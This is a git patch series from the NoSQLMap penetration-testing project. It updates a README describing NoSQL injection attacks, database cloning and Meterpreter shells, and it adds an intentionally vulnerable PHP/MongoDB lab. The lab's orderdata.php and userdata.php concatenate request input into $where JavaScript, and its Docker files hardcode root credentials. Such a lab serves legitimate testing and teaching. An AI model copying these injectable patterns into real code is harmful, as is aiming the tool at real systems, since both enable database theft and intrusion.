Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. ## DBMS Support + Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases. -## Requirements -On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. +## Requirements + +On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. Varies based on features used: -- Metasploit Framework, -- Python with PyMongo, -- httplib2, -- and urllib available. -- A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions. -There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. +- Metasploit Framework, +- Python with PyMongo, +- httplib2, +- and urllib available. +- A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions. + +There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. ## Setup + ``` python setup.py install ``` + Alternatively you can build a Docker image by changing to the docker directory and entering: + ``` docker build -t nosqlmap . ``` or you can use Docker-compose to run Nosqlmap: + ``` docker-compose build docker-compose run nosqlmap ``` + ## Usage Instructions + Start with + ``` python NoSQLMap ``` -NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: +NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: ``` 1-Set options (do this first) @@ -66,11 +78,12 @@ x-Exit ``` Explanation of options: + ``` 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack. 2. Set web app port-TCP port for the web application if a web application is the target. 3. Set URI Path-The portion of the URI containing the page name and any parameters but NOT the host name (e.g. /app/acct.php?acctid=102). -4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. +4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. 5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to. 6. Set shell listener port-If opening Meterpreter shells, specify the port. 7. Load options file-Load a previously saved set of settings for 1-6. @@ -79,4 +92,14 @@ Explanation of options: x. Back to main menu-Use this once the options are set to start your attacks. ``` -Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo_](https://twitter.com/codingo_) if you have any questions or suggestions. +Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo\_](https://twitter.com/codingo_) if you have any questions or suggestions. + +## Vulnerable Applications + +This repo also includes an intentionally vulnerable web application to test NoSQLMap with. To run this application, you need Docker installed. Then you can run the following commands from the /vuln_apps directory. + +``` +docker-compose build && docker-compose up +``` + +Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1/index.html diff --git a/vuln_apps/acct.php b/vuln_apps/acct.php deleted file mode 100644 index c03feef..0000000 --- a/vuln_apps/acct.php +++ /dev/null @@ -1,39 +0,0 @@ - - -Payment information - - -customers; - $collection = $db->paymentinfo; - $search = $_GET['acctid']; -// $criteria = array('id' => $search); -// $fields = array('name','id','cc','cvv2'); - - - $cursor = $collection->find(array('id' => $search)); - -// echo $search; - echo $cursor->count() . ' document(s) found.
'; - - foreach ($cursor as $obj) { - echo 'Name: ' . $obj['name'] . '
'; - echo 'Customer ID: ' . $obj['id'] . '
'; - echo 'Card Number: ' . $obj['cc'] . '
'; - echo 'CVV2 Code: ' . $obj['cvv2'] . '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -?> - - - - \ No newline at end of file diff --git a/vuln_apps/cust.html b/vuln_apps/cust.html deleted file mode 100644 index ed80d22..0000000 --- a/vuln_apps/cust.html +++ /dev/null @@ -1,21 +0,0 @@ - - -Customer Info - - - -

Customer Information

-

Enter your customer ID to show your account information:

- -
-Customer ID: - -
- -
- - - \ No newline at end of file diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml new file mode 100644 index 0000000..468c294 --- /dev/null +++ b/vuln_apps/docker-compose.yml @@ -0,0 +1,27 @@ +version: "3.8" +services: + apache: + container_name: apache + build: ./docker/apache + links: + - php + ports: + - "80:80" + volumes: + - ./src:/usr/local/apache2/htdocs + php: + container_name: php + build: ./docker/php + ports: + - "9000:9000" + volumes: + - ./src:/usr/local/apache2/htdocs + working_dir: /usr/local/apache2/htdocs + mongo: + container_name: mongo + environment: + MONGO_INITDB_ROOT_USERNAME: root + MONGO_INITDB_ROOT_PASSWORD: prisma + build: ./docker/mongo + ports: + - "27017:27017" diff --git a/vuln_apps/docker/apache/Dockerfile b/vuln_apps/docker/apache/Dockerfile new file mode 100644 index 0000000..9562989 --- /dev/null +++ b/vuln_apps/docker/apache/Dockerfile @@ -0,0 +1,6 @@ +FROM httpd:2.4.51 + +COPY apache.conf /usr/local/apache2/conf/apache.conf + +RUN echo "Include /usr/local/apache2/conf/apache.conf" \ + >> /usr/local/apache2/conf/httpd.conf \ No newline at end of file diff --git a/vuln_apps/docker/apache/apache.conf b/vuln_apps/docker/apache/apache.conf new file mode 100644 index 0000000..76f67dd --- /dev/null +++ b/vuln_apps/docker/apache/apache.conf @@ -0,0 +1,16 @@ +LoadModule deflate_module /usr/local/apache2/modules/mod_deflate.so +LoadModule proxy_module /usr/local/apache2/modules/mod_proxy.so +LoadModule proxy_fcgi_module /usr/local/apache2/modules/mod_proxy_fcgi.so + + + ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://php:9000/usr/local/apache2/htdocs/$1 + + DocumentRoot /usr/local/apache2/htdocs + + + Options -Indexes +FollowSymLinks + DirectoryIndex index.php + AllowOverride All + Require all granted + + \ No newline at end of file diff --git a/vuln_apps/docker/mongo/Dockerfile b/vuln_apps/docker/mongo/Dockerfile new file mode 100644 index 0000000..6920c0c --- /dev/null +++ b/vuln_apps/docker/mongo/Dockerfile @@ -0,0 +1,5 @@ +FROM mongo:latest + +ADD ./mongo.nosql /tmp/mongo.nosql +ADD ./import.sh /tmp/import.sh +RUN chmod +x /tmp/import.sh diff --git a/vuln_apps/docker/mongo/import.sh b/vuln_apps/docker/mongo/import.sh new file mode 100644 index 0000000..a845618 --- /dev/null +++ b/vuln_apps/docker/mongo/import.sh @@ -0,0 +1,2 @@ +#!/bin/bash +cat /tmp/mongo.nosql | mongosh "mongodb://root:prisma@mongo:27017" \ No newline at end of file diff --git a/vuln_apps/mongo.nosql b/vuln_apps/docker/mongo/mongo.nosql similarity index 99% rename from vuln_apps/mongo.nosql rename to vuln_apps/docker/mongo/mongo.nosql index 45bfcbc..577f0ed 100644 --- a/vuln_apps/mongo.nosql +++ b/vuln_apps/docker/mongo/mongo.nosql @@ -5,7 +5,6 @@ db.orders.insert({"id":"1","name":"Robin","item":"Music gift cards","quantity":" db.orders.insert({"id":"1001","name":"Moses","item":"Miami Heat tickets","quantity":"1000"}) db.orders.insert({"id":"66","name":"Rick","item":"Black hoodie","quantity":"1"}) db.orders.insert({"id":"0","name":"Nobody","item":"Nothing","quantity":"0"}) - use customers db.paymentinfo.insert({"name":"Adrien","id":"42","cc":"5555123456789999","cvv2":"1234"}) db.paymentinfo.insert({"name":"Justin","id":"99","cc":"5555123456780000","cvv2":"4321"}) @@ -13,7 +12,6 @@ db.paymentinfo.insert({"name":"Robin","id":"1","cc":"3333444455556666","cvv2":"2 db.paymentinfo.insert({"name":"Moses","id":"2","cc":"4444555566667777","cvv2":"3333"}) db.paymentinfo.insert({"name":"Rick","id":"3","cc":"5555666677778888","cvv2":"5678"}) db.paymentinfo.insert({"name":"Nobody","id":"0","cc":"45009876543215555","cvv2":"9999"}) - use appUserData db.users.insert({"name":"Adrien","username":"adrien","email":"adrien@sec642.org"}) db.users.insert({"name":"Justin","username":"justin","email":"justin@sec642.org"}) diff --git a/vuln_apps/docker/php/Dockerfile b/vuln_apps/docker/php/Dockerfile new file mode 100644 index 0000000..a266475 --- /dev/null +++ b/vuln_apps/docker/php/Dockerfile @@ -0,0 +1,13 @@ +FROM php:8.1-fpm + +RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini" +RUN echo "extension=mongodb.so" >> "$PHP_INI_DIR/php.ini" + +RUN apt-get update \ + && apt-get install -y libcurl4-openssl-dev pkg-config libssl-dev \ + && apt-get install -y git zip unzip \ + && pecl install mongodb \ + && php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \ + && php composer-setup.php --install-dir=/usr/local/bin --filename=composer \ + && rm composer-setup.php \ + && composer require mongodb/mongodb \ No newline at end of file diff --git a/vuln_apps/orderdata.php b/vuln_apps/orderdata.php deleted file mode 100644 index 427359f..0000000 --- a/vuln_apps/orderdata.php +++ /dev/null @@ -1,51 +0,0 @@ - - - - - -Order Lookup - - - -shop; - $collection = $db->orders; - $search = $_GET['ordersearch']; - $js = "function () { var query = '". $search . "'; return this.id == query;}"; - //print $js; - print '
'; - - $cursor = $collection->find(array('$where' => $js)); - echo $cursor->count() . ' order(s) found.
'; - - foreach ($cursor as $obj) { - echo 'Order ID: ' . $obj['id'] . '
'; - echo 'Name: ' . $obj['name'] . '
'; - echo 'Item: ' . $obj['item'] . '
'; - echo 'Quantity: ' . $obj['quantity']. '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -} -?> - - -Use the Order ID to locate your order:
-
-

Search

-
-
- -
- - diff --git a/vuln_apps/src/acct.php b/vuln_apps/src/acct.php new file mode 100644 index 0000000..21725a7 --- /dev/null +++ b/vuln_apps/src/acct.php @@ -0,0 +1,42 @@ + + + + Payment information + + + + [], + ]; + $filter = ['id' => $_GET['acctid']]; + $query = new MongoDB\Driver\Query($filter, $options); + + $cursor = $conn->executeQuery('customers.paymentinfo', $query); + $counter = 0; + + foreach ($cursor as $obj) { + $counter++; + echo 'Name: ' . $obj->name . '
'; + echo 'Customer ID: ' . $obj->id . '
'; + echo 'Card Number: ' . $obj->cc . '
'; + echo 'CVV2 Code: ' . $obj->cvv2 . '
'; + echo '
'; + } + + echo $counter . ' document(s) found.
'; + + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + ?> + + + + + \ No newline at end of file diff --git a/vuln_apps/src/index.html b/vuln_apps/src/index.html new file mode 100644 index 0000000..62996f1 --- /dev/null +++ b/vuln_apps/src/index.html @@ -0,0 +1,17 @@ + + + Customer Info + + + +

Customer Information

+

Enter your customer ID to show your account information:

+ +
+ Customer ID: + +
+ +
+ + diff --git a/vuln_apps/src/orderdata.php b/vuln_apps/src/orderdata.php new file mode 100644 index 0000000..0430cc2 --- /dev/null +++ b/vuln_apps/src/orderdata.php @@ -0,0 +1,49 @@ + + + + Order Lookup + + + shop; + $collection = $db->orders; + $search = $_GET['ordersearch']; + $js = "function () { var query = '". $search . "'; return this.id == query;}"; + //print $js; + print '
'; + + $cursor = $collection->find(array('$where' => $js)); + echo $cursor->count() . ' order(s) found.
'; + + foreach ($cursor as $obj) { + echo 'Order ID: ' . $obj['id'] . '
'; + echo 'Name: ' . $obj['name'] . '
'; + echo 'Item: ' . $obj['item'] . '
'; + echo 'Quantity: ' . $obj['quantity']. '
'; + echo '
'; + } + $conn->close(); + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + } + ?> + + + Use the Order ID to locate your order:
+
+

Search

+
+
+ +
+ + + \ No newline at end of file diff --git a/vuln_apps/populate_db.php b/vuln_apps/src/populate_db.php similarity index 99% rename from vuln_apps/populate_db.php rename to vuln_apps/src/populate_db.php index 44d2576..c058543 100644 --- a/vuln_apps/populate_db.php +++ b/vuln_apps/src/populate_db.php @@ -104,4 +104,4 @@ echo $obj["email"] . "
"; } -?> +?> \ No newline at end of file diff --git a/vuln_apps/src/userdata.php b/vuln_apps/src/userdata.php new file mode 100644 index 0000000..bf74313 --- /dev/null +++ b/vuln_apps/src/userdata.php @@ -0,0 +1,48 @@ + + + + User Profile Lookup + + + appUserData; + $collection = $db->users; + $search = $_GET['usersearch']; + $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; + print $js; + print '
'; + + $cursor = $collection->find(array('$where' => $js)); + echo $cursor->count() . ' user found.
'; + + foreach ($cursor as $obj) { + echo 'Name: ' . $obj['name'] . '
'; + echo 'Username: ' . $obj['username'] . '
'; + echo 'Email: ' . $obj['email'] . '
'; + echo '
'; + } + + $conn->close(); + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + } + ?> + + + Enter your username:
+
+

Search

+
+
+ +
+ + \ No newline at end of file diff --git a/vuln_apps/userdata.php b/vuln_apps/userdata.php deleted file mode 100644 index 0fc8165..0000000 --- a/vuln_apps/userdata.php +++ /dev/null @@ -1,50 +0,0 @@ - - - - - -User Profile Lookup - - - -appUserData; - $collection = $db->users; - $search = $_GET['usersearch']; - $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; - print $js; - print '
'; - - $cursor = $collection->find(array('$where' => $js)); - echo $cursor->count() . ' user found.
'; - - foreach ($cursor as $obj) { - echo 'Name: ' . $obj['name'] . '
'; - echo 'Username: ' . $obj['username'] . '
'; - echo 'Email: ' . $obj['email'] . '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -} -?> - - -Enter your username:
-
-

Search

-
-
- -
- - From 15aeec1e3daa4eb45d49f663dcdeca5374a8a31c Mon Sep 17 00:00:00 2001 From: Everton Vieira <54176981+gu4xin1m@users.noreply.github.com> Date: Fri, 29 Sep 2023 00:29:05 -0300 Subject: [PATCH 68/68] Update Dockerfile Fixing the dependency error. Certifi's last python 2.7 release is 2020.04.5, otherwise the docker run command will raise a error. --- docker/Dockerfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docker/Dockerfile b/docker/Dockerfile index 511d0a8..6ff83f2 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -10,6 +10,8 @@ WORKDIR /root/NoSqlMap RUN python setup.py install +RUN python -m pip install requests 'certifi<=2020.4.5.1' + COPY entrypoint.sh /tmp/entrypoint.sh RUN chmod +x /tmp/entrypoint.sh